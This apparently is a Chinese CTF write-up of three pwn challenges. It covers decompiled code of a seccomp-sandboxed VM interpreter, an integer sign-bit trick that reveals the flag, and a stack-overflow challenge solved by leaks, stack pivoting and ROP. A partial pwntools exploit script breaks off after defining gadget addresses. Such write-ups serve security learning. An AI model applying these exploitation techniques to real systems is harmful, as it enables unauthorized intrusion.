  int v55; // [rsp+8h] [rbp-28h]
  int v56; // [rsp+8h] [rbp-28h]
  int v57; // [rsp+8h] [rbp-28h]
  int v58; // [rsp+8h] [rbp-28h]
  int v59; // [rsp+8h] [rbp-28h]
  int v60; // [rsp+8h] [rbp-28h]
  int v61; // [rsp+8h] [rbp-28h]
  int v62; // [rsp+8h] [rbp-28h]
  int v63; // [rsp+8h] [rbp-28h]
  int v64; // [rsp+8h] [rbp-28h]
  int v65; // [rsp+8h] [rbp-28h]
  int v66; // [rsp+8h] [rbp-28h]
  int v67; // [rsp+8h] [rbp-28h]
  int v68; // [rsp+8h] [rbp-28h]
  __int64 v69; // [rsp+8h] [rbp-28h]

  v52 = open64("/dev/null", 0, v35);
  if ( v52 < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)madvise_1((unsigned int)v52, 0LL) < 0 )
    return 0xFFFFFFFFLL;
  close((unsigned int)v52);
  v53 = seccomp_init(2147418112LL);
  if ( !v53 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v53, 0, 59, 0, v1, v2, v36, v53) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v54, 0, 322, 0, v3, v4, v37, v54) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v55, 0, 57, 0, v5, v6, v38, v55) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v56, 0, 56, 0, v7, v8, v39, v56) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v57, 0, 435, 0, v9, v10, v40, v57) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v58, 0, 58, 0, v11, v12, v41, v58) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v59, 0, 62, 0, v13, v14, v42, v59) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v60, 0, 9, 0, v15, v16, v43, v60) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v61, 0, 11, 0, v17, v18, v44, v61) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v62, 0, 317, 0, v19, v20, v45, v62) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v63, 0, 157, 0, v21, v22, v46, v63) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v64, 0, 257, 0, v23, v24, v47, v64) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v65, 0, 85, 0, v25, v26, v48, v65) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v66, 0, 87, 0, v27, v28, v49, v66) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v67, 0, 86, 0, v29, v30, v50, v67) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v68, 0, 90, 0, v31, v32, v51, v68) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v69, 0, 2, 1, v33, v34, 1, 0) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_load(v69) >= 0 )
    return 0LL;
  return 0xFFFFFFFFLL;
}

这里read相关的这个函数处理的逻辑很奇怪,只有read的返回值为0才会往下走,搜索了一下 read只有读到一个eof才会返回0,因为这里read的逻辑,seccomp_tools 识别不出来沙箱的规则,所以需要使用ida去patch一下程序,在main函数的入口那 patch这样的逻辑

mov r15,seccomp_init_function_addr
call r15

seccomp_init_function:
jmp main_end

让程序一运行就把seccomp_init走一遍就能把沙箱的逻辑识别出来了,execve execveat被禁用了,有对x32 abi之类的使用做限制,大概率要打orw了

通过分析start_vm的逻辑和动调 尝试对start_vm做一些修复,重命名:
可以得知有 六个通用寄存器 名字分别是 REG0 - REG5 有一个PC寄存器 和一个flag寄存器
大概是这样一个结构体

00000000 Virtual_machine struc ; (sizeof=0x60, mappedto_18)
00000000 register0       dq ?
00000008 register1       dq ?
00000010 register2       dq ?
00000018 register3       dq ?
00000020 register4       dq ?
00000028 register5       dq ?
00000030 unknow1         dq ?
00000038 flags_register  dq ?
00000040 Instruction_type dq ?
00000048 pc_register     dq ?
00000050 error_code      dq ?
00000058 input_data_addr dq ?
00000060 Virtual_machine ends

重命名后的伪代码

__int64 __fastcall start_vm(Virtual_machine *virtual_machine)
{
  __int64 pc_register; // rbx
  __int64 v2; // rax
  __int64 v3; // rbx
  __int64 input_data_addr; // rsi
  __int64 v5; // rax
  char v6; // cl
  unsigned __int64 v7; // rax
  __int64 v8; // rsi
  __int64 v9; // rax
  char v10; // cl
  unsigned __int64 v11; // rax
  __int64 v12; // rsi
  __int64 v13; // rax
  char v14; // cl
  unsigned __int64 v15; // rax
  int v17; // edx
  int v18; // ecx
  int v19; // r8d
  int v20; // r9d
  __int64 v21; // rdx
  int v22; // ecx
  int v23; // r8d
  int v24; // r9d
  int v25; // ecx
  int v26; // r8d
  int v27; // r9d
  int v28; // edx
  int v29; // ecx
  int v30; // r8d
  int v31; // r9d
  int v32; // edx
  int v33; // ecx
  int v34; // r8d
  int v35; // r9d
  int v36; // edx
  int v37; // ecx
  int v38; // r8d
  int v39; // r9d
  int v40; // edx
  int v41; // ecx
  int v42; // r8d
  int v43; // r9d
  int v44; // edx
  int v45; // ecx
  int v46; // r8d
  int v47; // r9d
  int v48; // edx
  int v49; // ecx
  int v50; // r8d
  int v51; // r9d
  int i; // [rsp+14h] [rbp-BCh]
  __int64 v53; // [rsp+18h] [rbp-B8h]
  unsigned __int64 v54; // [rsp+20h] [rbp-B0h]
  unsigned __int64 v55; // [rsp+28h] [rbp-A8h]
  unsigned __int64 v56; // [rsp+30h] [rbp-A0h]
  unsigned __int64 Instruction_only_one_operand__first_operand_len; // [rsp+38h] [rbp-98h]
  unsigned __int64 Instruction_only_two_operand__first_operand_len; // [rsp+40h] [rbp-90h]
  unsigned __int64 Instruction_only_two_operand__second_operand_len; // [rsp+48h] [rbp-88h]
  unsigned __int64 v60; // [rsp+50h] [rbp-80h]
  unsigned __int64 v61; // [rsp+50h] [rbp-80h]
  unsigned __int64 v62; // [rsp+50h] [rbp-80h]
  unsigned __int64 v63; // [rsp+50h] [rbp-80h]
  unsigned __int64 v64; // [rsp+50h] [rbp-80h]
  unsigned __int64 v65; // [rsp+50h] [rbp-80h]
  unsigned __int64 v66; // [rsp+50h] [rbp-80h]
  unsigned __int64 v67; // [rsp+50h] [rbp-80h]
  unsigned __int64 v68; // [rsp+50h] [rbp-80h]
  unsigned __int64 v69; // [rsp+50h] [rbp-80h]
  unsigned __int64 v70; // [rsp+50h] [rbp-80h]
  unsigned __int64 v71; // [rsp+50h] [rbp-80h]
  unsigned __int64 v72; // [rsp+50h] [rbp-80h]
  unsigned __int64 v73; // [rsp+50h] [rbp-80h]
  unsigned __int64 v74; // [rsp+58h] [rbp-78h]
  unsigned __int64 v75; // [rsp+58h] [rbp-78h]
  unsigned __int64 v76; // [rsp+58h] [rbp-78h]
  unsigned __int64 v77; // [rsp+58h] [rbp-78h]
  unsigned __int64 v78; // [rsp+58h] [rbp-78h]
  unsigned __int64 v79; // [rsp+58h] [rbp-78h]
  unsigned __int64 v80; // [rsp+58h] [rbp-78h]
  unsigned __int64 v81; // [rsp+58h] [rbp-78h]
  unsigned __int64 v82; // [rsp+58h] [rbp-78h]
  unsigned __int64 v83; // [rsp+58h] [rbp-78h]
  __int64 *v84; // [rsp+60h] [rbp-70h]
  __int64 v85[4]; // [rsp+70h] [rbp-60h] BYREF
  __int64 v86[7]; // [rsp+90h] [rbp-40h] BYREF

  v86[5] = __readfsqword(0x28u);
  v53 = 0LL;
  memset(v85, 0, sizeof(v85));
  memset(v86, 0, 32);
LABEL_193:
  while ( virtual_machine->pc_register <= 0xFFFuLL )
  {
    while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t'
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\n'
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\r')
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
      ++virtual_machine->pc_register;           // pc寄存器跳过指令序列中的' ' '\n' '\r' '\t'
    for ( i = 0; (&instruction_list)[3 * i]; ++i )
    {
      pc_register = virtual_machine->pc_register;
      if ( (unsigned __int64)(pc_register + j_wcsncmp_ifunc((&instruction_list)[3 * i])) <= 0xFFF )
      {
        v2 = j_wcsncmp_ifunc((&instruction_list)[3 * i]);
        if ( !(unsigned int)j_strncmp_ifunc(
                              virtual_machine->pc_register + virtual_machine->input_data_addr,
                              (&instruction_list)[3 * i],
                              v2) )
        {
          virtual_machine->Instruction_type = (__int64)(&instruction_list)[3 * i + 1];
          v3 = virtual_machine->pc_register;
          virtual_machine->pc_register = v3 + j_wcsncmp_ifunc((&instruction_list)[3 * i]);
          break;
        }
        virtual_machine->Instruction_type = 20LL;
      }
    }
    if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)1 )
    {
      j_memset_ifunc(v85, 0LL, 32LL);
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      for ( Instruction_only_one_operand__first_operand_len = 0LL;
            *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
         && Instruction_only_one_operand__first_operand_len <= 0x1E// 单个操作数的指令序列第一个操作数长度不超过 0x1E
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n';
            ++Instruction_only_one_operand__first_operand_len )
      {
        input_data_addr = virtual_machine->input_data_addr;
        v5 = virtual_machine->pc_register;
        virtual_machine->pc_register = v5 + 1;
        v6 = *(_BYTE *)(input_data_addr + v5);
        v7 = Instruction_only_one_operand__first_operand_len;
        *((_BYTE *)v85 + v7) = v6;
      }
      *((_BYTE *)v85 + Instruction_only_one_operand__first_operand_len) = 0;
      if ( !Instruction_only_one_operand__first_operand_len )
        goto Error_about_Miss_oprand;
    }
    else if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)2 )
    {
      j_memset_ifunc(v85, 0LL, 32LL);
      j_memset_ifunc(v86, 0LL, 32LL);
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      Instruction_only_two_operand__first_operand_len = 0LL;
      while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && Instruction_only_two_operand__first_operand_len <= 0x1E
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
      {
        v8 = virtual_machine->input_data_addr;
        v9 = virtual_machine->pc_register;
        virtual_machine->pc_register = v9 + 1;
        v10 = *(_BYTE *)(v8 + v9);
        v11 = Instruction_only_two_operand__first_operand_len++;
        *((_BYTE *)v85 + v11) = v10;
      }
      *((_BYTE *)v85 + Instruction_only_two_operand__first_operand_len) = 0;
      if ( !Instruction_only_two_operand__first_operand_len )
        goto Error_about_Miss_oprand;
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      Instruction_only_two_operand__second_operand_len = 0LL;
      while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && Instruction_only_two_operand__second_operand_len <= 0x1E
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
      {
        v12 = virtual_machine->input_data_addr;
        v13 = virtual_machine->pc_register;
        virtual_machine->pc_register = v13 + 1;
        v14 = *(_BYTE *)(v12 + v13);
        v15 = Instruction_only_two_operand__second_operand_len++;
        *((_BYTE *)v86 + v15) = v14;
      }
      *((_BYTE *)v86 + Instruction_only_two_operand__second_operand_len) = 0;
      if ( !Instruction_only_two_operand__second_operand_len )
      {
Error_about_Miss_oprand:
        virtual_machine->error_code = 2LL;
        puts("ERROR: Miss oprand!");
        return virtual_machine->error_code;
      }
    }
    while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n'
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
      ++virtual_machine->pc_register;
    ++virtual_machine->pc_register;
    switch ( virtual_machine->Instruction_type )
    {
      case 0LL:                                 // NOP
        goto LABEL_193;
      case 1LL:                                 // LOAD REG0 address
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v60 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v60 > 5 )
          goto Error_about_invalid_register;
        v84 = (__int64 *)atoi(v86, 0LL, 16LL);
        if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
          goto Error_about_invalid_address;
        if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
          goto LABEL_76;
        *(&virtual_machine->register0 + v60) = *v84;
        goto LABEL_193;
      case 2LL:                                 // STORE REG0 address
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v74 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v74 > 5 )
          goto Error_about_invalid_register;
        v84 = (__int64 *)atoi(v86, 0LL, 16LL);
        if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
        {
Error_about_invalid_address:
          virtual_machine->error_code = 4LL;
          printf((unsigned int)"ERROR: Invalid address: %#lx!\n", (_DWORD)v84, v17, v18, v19, v20);
          return virtual_machine->error_code;
        }
        if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
        {
LABEL_76:
          virtual_machine->error_code = 4LL;
          printf((unsigned int)"ERROR: Invalid memory access: %lx!\n", (_DWORD)v84, v17, v18, v19, v20);
          return virtual_machine->error_code;
        }
        *v84 = *(&virtual_machine->register0 + v74);
        goto LABEL_193;
      case 3LL:                                 // MOV REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v61 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v61 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v75 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v75 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v61) = *(&virtual_machine->register0 + v75);
        goto LABEL_193;
      case 4LL:                                 // ADD REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v62 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v62 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v76 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v76 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v62) += *(&virtual_machine->register0 + v76);
        goto LABEL_193;
      case 5LL:                                 // SUB REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v63 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v63 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v77 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v77 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v63) -= *(&virtual_machine->register0 + v77);
        goto LABEL_193;
      case 6LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v64 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v64 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v78 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v78 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v64) *= *(&virtual_machine->register0 + v78);
        goto LABEL_193;
      case 7LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v65 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v65 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v79 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v79 > 5 )
          goto Error_about_invalid_register;
        if ( !*(&virtual_machine->register0 + v79) )
        {
          virtual_machine->error_code = 5LL;
          puts("ERROR: Divide by zero!");
          return virtual_machine->error_code;
        }
        *(&virtual_machine->register0 + v65) /= (unsigned __int64)*(&virtual_machine->register0 + v79);
        goto LABEL_193;
      case 8LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v66 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v66 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v80 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v80 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v66) &= *(&virtual_machine->register0 + v80);
        goto LABEL_193;
      case 9LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v67 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v67 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v81 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v81 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v67) |= *(&virtual_machine->register0 + v81);
        goto LABEL_193;
      case 0xALL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v68 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v68 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v82 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v82 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v68) ^= *(&virtual_machine->register0 + v82);
        goto LABEL_193;
      case 0xBLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v69 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v69 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v69) = ~*(&virtual_machine->register0 + v69);
        goto LABEL_193;
      case 0xCLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v70 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v70 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v70) <<= atoi(v86, 0LL, 16LL);
        goto LABEL_193;
      case 0xDLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v71 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v71 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v71) = (unsigned __int64)*(&virtual_machine->register0 + v71) >> atoi(v86, 0LL, 16LL);
        goto LABEL_193;
      case 0xELL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v72 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v72 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v83 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v83 > 5 )
          goto Error_about_invalid_register;
        if ( *(&virtual_machine->register0 + v72) == *(&virtual_machine->register0 + v83) )
        {
          virtual_machine->flags_register = 0LL;
        }
        else if ( *(&virtual_machine->register0 + v72) <= (unsigned __int64)*(&virtual_machine->register0 + v83) )
        {
          virtual_machine->flags_register = 2LL;
        }
        else
        {
          virtual_machine->flags_register = 1LL;
        }
        goto LABEL_193;
      case 0xFLL:                               // JMP
        v54 = atoi(v85, 0LL, 10LL);
        goto LABEL_168;
      case 0x10LL:                              // JE
        v54 = atoi(v85, 0LL, 10LL);
        if ( virtual_machine->flags_register )
          goto LABEL_193;
        goto LABEL_168;
      case 0x11LL:                              // JNE
        v54 = atoi(v85, 0LL, 10LL);
        if ( !virtual_machine->flags_register )
          goto LABEL_193;
LABEL_168:
        if ( !v54 || v54 > 0xFFF )
          goto LABEL_179;
        v55 = 0LL;
        v56 = v54;
        while ( 2 )
        {
          if ( v55 <= 0xFFF )
          {
            if ( v56 != 1 )
            {
              v21 = virtual_machine->input_data_addr;
              if ( *(_BYTE *)(v21 + v55) == 10 )
                --v56;
              ++v55;
              continue;
            }
            LODWORD(v21) = v55;
            virtual_machine->pc_register = v55;
          }
          break;
        }
        if ( v56 == 1 )
          goto LABEL_193;
LABEL_179:
        virtual_machine->error_code = 4LL;
        printf((unsigned int)"ERROR: Invalid jmp line: %ld!\n", v54, v21, v22, v23, v24);
        return virtual_machine->error_code;
      case 0x12LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) || (v73 = atoi((char *)v85 + 3, 0LL, 10LL), v73 > 5) )
        {
Error_about_invalid_register:
          virtual_machine->error_code = 3LL;
          puts("ERROR: Invalid register!");
          return virtual_machine->error_code;
        }
        *(&virtual_machine->register0 + v73) = atoi(v86, 0LL, 16LL);
        break;
      case 0x13LL:
        if ( v53 )
        {
          virtual_machine->error_code = 6LL;
          puts("ERROR: Syscall limit reached!");
          return virtual_machine->error_code;
        }
        virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
        v53 = 1LL;
        virtual_machine->register0 = syscall(
                                       virtual_machine->unknow1,
                                       virtual_machine->register0,
                                       virtual_machine->register1,
                                       virtual_machine->register2,
                                       virtual_machine->register3,
                                       virtual_machine->register4,
                                       virtual_machine->register5);
        virtual_machine->unknow1 = -1LL;
        goto LABEL_193;
      case 0x14LL:
        puts("------------------vmstate------------------");
        printf(
          (unsigned int)"pc: %#lx flags: %lx\n",
          virtual_machine->pc_register,
          virtual_machine->flags_register,
          v25,
          v26,
          v27);
        printf((unsigned int)"reg0: %#lx\n", virtual_machine->register0, v28, v29, v30, v31);
        printf((unsigned int)"reg1: %#lx\n", virtual_machine->register1, v32, v33, v34, v35);
        printf((unsigned int)"reg2: %#lx\n", virtual_machine->register2, v36, v37, v38, v39);
        printf((unsigned int)"reg3: %#lx\n", virtual_machine->register3, v40, v41, v42, v43);
        printf((unsigned int)"reg4: %#lx\n", virtual_machine->register4, v44, v45, v46, v47);
        printf((unsigned int)"reg5: %#lx\n", virtual_machine->register5, v48, v49, v50, v51);
        puts("-------------------------------------------");
        virtual_machine->error_code = 0LL;
        return virtual_machine->error_code;
      default:
        virtual_machine->error_code = 1LL;
        puts("ERROR: Unknown opcode!");
        return virtual_machine->error_code;
    }
  }
  return 0LL;
}
Read More

pwn

摩登Pwn

第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互

程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag

__int64 __fastcall show_result(__int64 a1, __int64 a2)
{
  __int64 type; // rsi
  __int64 v3; // rax
  __int64 buffer; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rsi
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char src[8]; // [rsp+10h] [rbp-100h] BYREF
  __int64 v15; // [rsp+18h] [rbp-F8h]
  __int64 v16; // [rsp+20h] [rbp-F0h]
  __int64 v17; // [rsp+28h] [rbp-E8h]
  __int64 v18; // [rsp+30h] [rbp-E0h]
  __int64 v19; // [rsp+38h] [rbp-D8h]
  __int64 v20; // [rsp+40h] [rbp-D0h]
  __int64 v21; // [rsp+48h] [rbp-C8h]
  char v22[128]; // [rsp+50h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+D0h] [rbp-40h]
  FILE *stream; // [rsp+D8h] [rbp-38h]
  __int64 content_area; // [rsp+E0h] [rbp-30h]
  __int64 v26; // [rsp+E8h] [rbp-28h]
  unsigned int v27; // [rsp+F4h] [rbp-1Ch]
  __int64 v28; // [rsp+F8h] [rbp-18h]
  __int64 toplevel; // [rsp+100h] [rbp-10h]
  char *nptr; // [rsp+108h] [rbp-8h]

  toplevel = gtk_widget_get_toplevel(a1);
  v28 = a2;
  type = gtk_entry_get_type();
  v3 = g_type_check_instance_cast(v28, type);
  buffer = gtk_entry_get_buffer(v3);
  for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr )
    ;
  v27 = strtoul(nptr, 0LL, 10);
  v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL);
  v5 = gtk_container_get_type();
  v6 = g_type_check_instance_cast(v26, v5);
  gtk_container_set_border_width(v6, 10LL);
  v7 = gtk_window_get_type();
  v8 = g_type_check_instance_cast(v26, v7);
  gtk_window_set_position(v8, 4LL);
  v9 = gtk_dialog_get_type();
  v10 = g_type_check_instance_cast(v26, v9);
  content_area = gtk_dialog_get_content_area(v10);
  memset(v22, 0, sizeof(v22));
  strcat(v22, "Your height is:  ");
  if ( (v27 & 0x80000000) != 0 )
  {
    *(_QWORD *)src = 0LL;
    v15 = 0LL;
    v16 = 0LL;
    v17 = 0LL;
    v18 = 0LL;
    v19 = 0LL;
    v20 = 0LL;
    v21 = 0LL;
    stream = fopen("/flag", "r");
    __isoc99_fscanf(stream, "%s", src);
    fclose(stream);
    strcpy(&v22[16], src);
  }
  else
  {
    sprintf(&v22[16], "%d", v27);
  }
  strcat(v22, "cm");
  v23 = gtk_label_new(v22);
  g_signal_connect_data(v26, (__int64)"response", (__int64)&gtk_widget_destroy, v26, 0LL, 2LL);
  v11 = gtk_container_get_type();
  v12 = g_type_check_instance_cast(content_area, v11);
  gtk_container_add(v12, v23);
  return gtk_widget_show_all(v26);
}

baby_stack

题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址

ssize_t func()
{
  char buf[320]; // [rsp+0h] [rbp-140h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("please enter your content:");
  read(0, buf, 0x150uLL);
  printf("%s", buf);
  puts("please enter your content again:");
  return read(0, buf, 0x150uLL);
}

其实restart一次就好了,(懒得改

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "competition.blue-whale.me"
PORT = 20618

elf = context.binary = ELF('./baby_stack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

pop_rdi_ret = 0x0000000000400b93
pop_rsi_r15_ret = 0x0000000000400b91
